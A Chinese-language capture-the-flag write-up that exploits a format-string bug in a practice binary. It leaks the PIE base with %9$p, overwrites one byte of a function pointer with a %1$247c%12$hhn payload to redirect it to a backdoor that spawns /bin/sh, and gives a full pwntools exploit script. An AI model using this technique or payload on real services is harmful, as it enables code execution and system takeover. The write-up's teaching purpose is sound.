从指定的文件描述符 a1 中,强制读取满 a3 个字节的数据,并存入内存地址 a2 中;在没有读够 a3 个字节之前,它会一直循环等待并继续读取。所以如果是发送数据给该函数接收的话需要使用r.send()

image-20261014202418232


read_number -> base+0x139E

含义:从标准输入(键盘)逐字符读取一行数字字符串(最多读取 31 个字符),然后将其转换为一个 64 位无符号整数并返回。当程序遇到\n也会结束进行退出

image-20261014202515893


director_channel ->base+0x012F7 后门函数

image-20261014203710421


preview_slogan -> base + 0x135C 格式化字符串漏洞

image-20261014203844029


homepage_channel->base+0x12D8

image-20261014203949539

和director_channel很近,这是一个埋下的伏笔,他两相差1F而已


main函数->base+0x0151B

观察可以发现程序的运行可以发现

image-20261014212734405

text
程序启动
   │
   ├── initialise():  关闭三个流的缓冲 + alarm(60)定时炸弹
   ├── publish_hook = homepage_channel(指针初始化,仅此一次)
   ▼
┌─────────── 主循环 ───────────┐
│   打印菜单,读入数字 n         │
└─────────────────────────────┘             
   │                                         
   ├── n=1 提交标语                           
   │      读长度 L(限 1~0x1ff)              
   │      读 L 个字节存入 buf                 
   │      buf[L] = 结尾0                      
   │                                         
   ├── n=2 预览                               
   │      printf("preview: ")                
   │      printf(buf)      ← 漏洞在这         
   │      换行                                
   │                                         
   ├── n=3 上首页                             
   │      调用 publish_hook 指向的函数         
   │      (默认 puts "pushed to homepage")
   │                                         
   ├── n=4 下班 → 程序退出                     
   │                                         
   └── 其他数字 → 打印"忽略该请求"

发现了格式化字符串漏洞,我们先试试能不能通过格式化字串漏洞把PIE base地址还原出来,发送一下的字符串

python
AAAA|%p|%p%|%p|%p|%p|%p%|%p|%p|%p|%p%|%p|%p|%p|%p%|%p|%p
python
from pwn import *
context(os = 'linux', arch = 'amd64')
r = process('./full-reduction')
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'How long is this campaign line?')
r.sendline(b'60')
payload = b'AAAA|%p|%p%|%p|%p|%p|%p%|%p|%p|%p|%p%|%p|%p|%p|%p%|%p|%p'
payload = payload.ljust(60,b'\x00')
r.send(payload)
r.recvuntil(b'>')
r.sendline(b'2')

r.interactive()

image-20261014214002351

观察可以发现在%10$p的时候显示的是栈空间地址,也就是buf地址了。这里就重新做一个科普吧,关于PIE偏移


回到题目本身,你就可以发现我们刚刚出现的%9$p 槽里边出现了0x55开头的被ASLR的地址0x55bda59ec670

最后三位670是固定不变的值,我们去IDA里边看看谁是刚好在PIE随机化的指令,也可以试试使用objdump去查

shell
objdump -d -M intel full-reduction > dis.text

image-20261014220908240

至此我们拿到了PIE base地址


0x03 攻击流程

观察程序还可以发现在使用case3的时候

publish_hook实际上是一个指针函数,指向homepage_channel

image-20261014222705822

image-20261014221705161

image-20261014221755181

那就是说有没有可能我们将pubilsh_hook指向的值通过printf修改就能指向后门函数了呢? 可以发现 homepage_channel 和 director_channel实际的汇编仅仅在最低字节不同

text
publish_hook 现值 = PIE + 0x12d8   (homepage)
想改成            = PIE + 0x12f7   (director)
PIE 基址页对齐(低12位=000) → 两个地址高 7 字节完全相同, 只有最低字节不同:
                              0xd8 → 0xf7

所以无需写完整 8 字节,一次 %hhn 写入 0xf7 = 247 即可。%n 家族的合同:写入的值 = printf 内部"已输出字符数"计数器,不能任选。想让计数器 = 247,就必须先打印恰好 247 个字符 —— 这就是宽度泵的用途。

python
%1$247c%12$hhn
第一条:%1$247c —— 把计数器泵到 247
%    1$     247    c
│    │      │      └ 转换类型:按"单个字符"打印
│    │      └ 宽度:输出不足 247 列就用空格垫满
│    └ 点名:用第 1 个参数当原料
└ 格式符开始

第二条:%12$hhn —— 把计数器写进目标地址
%    12$    hh    n
│    │      │     └ 特殊转换:不打印,反而把"当前计数器"写入参数指向的内存
│    │      └ 长度修饰:只写 1 个字节(hh=char;h=2字节;不写=4字节)
│    └ 点名:用第 12 个参数
└ 格式符开始

第 12 个参数 = 栈上从 printf 视角数的第 12 格 = buf+16 处那 8 字节——正是我们埋的 p64(publish_hook)。printf 拿它当地址执行:

*(unsigned char *)(publish_hook的地址) = 0xf7;   // 计数器的值, 1 字节

publish_hook 存的 8 字节值 0x00005555555552d8 按 x86-64 小端序摊在内存里,最低有效字节在最低地址:
地址:        80b0  80b1  80b2  80b3  80b4  80b5  80b6  80b7
内容:         d8    52    55    55    55    55    00    00
              ↑
        &publish_hook 指向这里 = 值的最低字节 = 0xd8
        
所以“变量的首字节”就是“数值的最低字节”——0xd8 正好坐在 %hhn 的弹着点上。这也是你 gdb 实拍看过的画面:改后逐字节是 f7 52 55 55 55 55 00 00,只有 80b0 一个格子变了。

如果把 %hhn 换成 %n(4 字节写),弹着点还是 0x…80b0,但一次砸进去 4 个字节 f7 00 00 00:
改前: d8 52 55 55 | 55 55 00 00   = 0x00005555555552d8
改后: f7 00 00 00 | 55 55 00 00   = 0x00005555_000000f7  ← 指针毁掉, call rax 即崩
    
    
c
连接程序 (process / remote)
   │
   ▼
━━ 第一阶段:偷看地址 ────────────────────────
   ├── 选 1 提交 "%9$p"(长度发 4)
   ├── 选 2 预览 → printf 把栈上第 9 格吐出来
   │      收到 0x…6670  (= PIE + 0x1670)
   └── 算账:PIE = 泄露值 − 0x1670
            publish_hook = PIE + 0x40b0
   │
   ▼
━━ 第二阶段:偷换字节 ────────────────────────
   ├── 组装 24 字节弹药:
   │      "%1$247c%12$hhn" + "AA" + p64(publish_hook)
   |
   ├── 选 1 提交(长度发 24)
   ├── 选 2 预览 → printf 干两件事:
   │      ① 打 247 个字符,计数器泵到 247
   │      ② %12$hhn 把 0xf7 写进 publish_hook 最低字节
   │
   │      内存变化(.bss 里那 8 字节):
   │      …52 d8 62 ed c0 ee 55 00   ← homepage_channel
   │      …52 f7 62 ed c0 ee 55 00   ← director_channel ★只动了 1 字节
   └── 吃掉 247 字符的输出 + 菜单
   │
   ▼
━━ 第三阶段:收获 ────────────────────────────
   ├── 选 3 → call [publish_hook]
   │      此时指向 director_channel:
   │      chdir("/") → alarm(15) → execve("/bin/sh","-p")
   └── 成功时无任何输出,直接就是 shell
          敲 id / cat flag,15 秒内干完活

0x04 完整的payload

python
from pwn import *
context(os='linux',arch = 'amd64')
# r = process('./full-reduction')
r=remote('127.0.0.1',60704)
# gdb.attach(r)
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'How long is this campaign line?')
r.sendline(b'4')
r.send(b'%9$p')

r.sendline(b'2')
r.recvuntil(b'preview: ')
leak = r.recvline().strip()
base = int(leak,16) - 0x1670
log.success(hex(base))
publish_hook = base + 0x40B0

r.sendline(b'1')
r.recvuntil(b'How long is this campaign line?')
r.sendline(b'300')
payload = b'%1$247c%12$hhn'+b'AA'+p64(publish_hook)
payload = payload.ljust(300,b'\x00')
r.send(payload)

r.sendline(b'2')
r.recvuntil(b'4. done? clock out\n> ')  
r.sendline(b'3')
r.sendline(b'cat /flag')
r.interactive()
HACKED的生活小日记
Pwn-ret2dlresolve

评论区

评论加载中...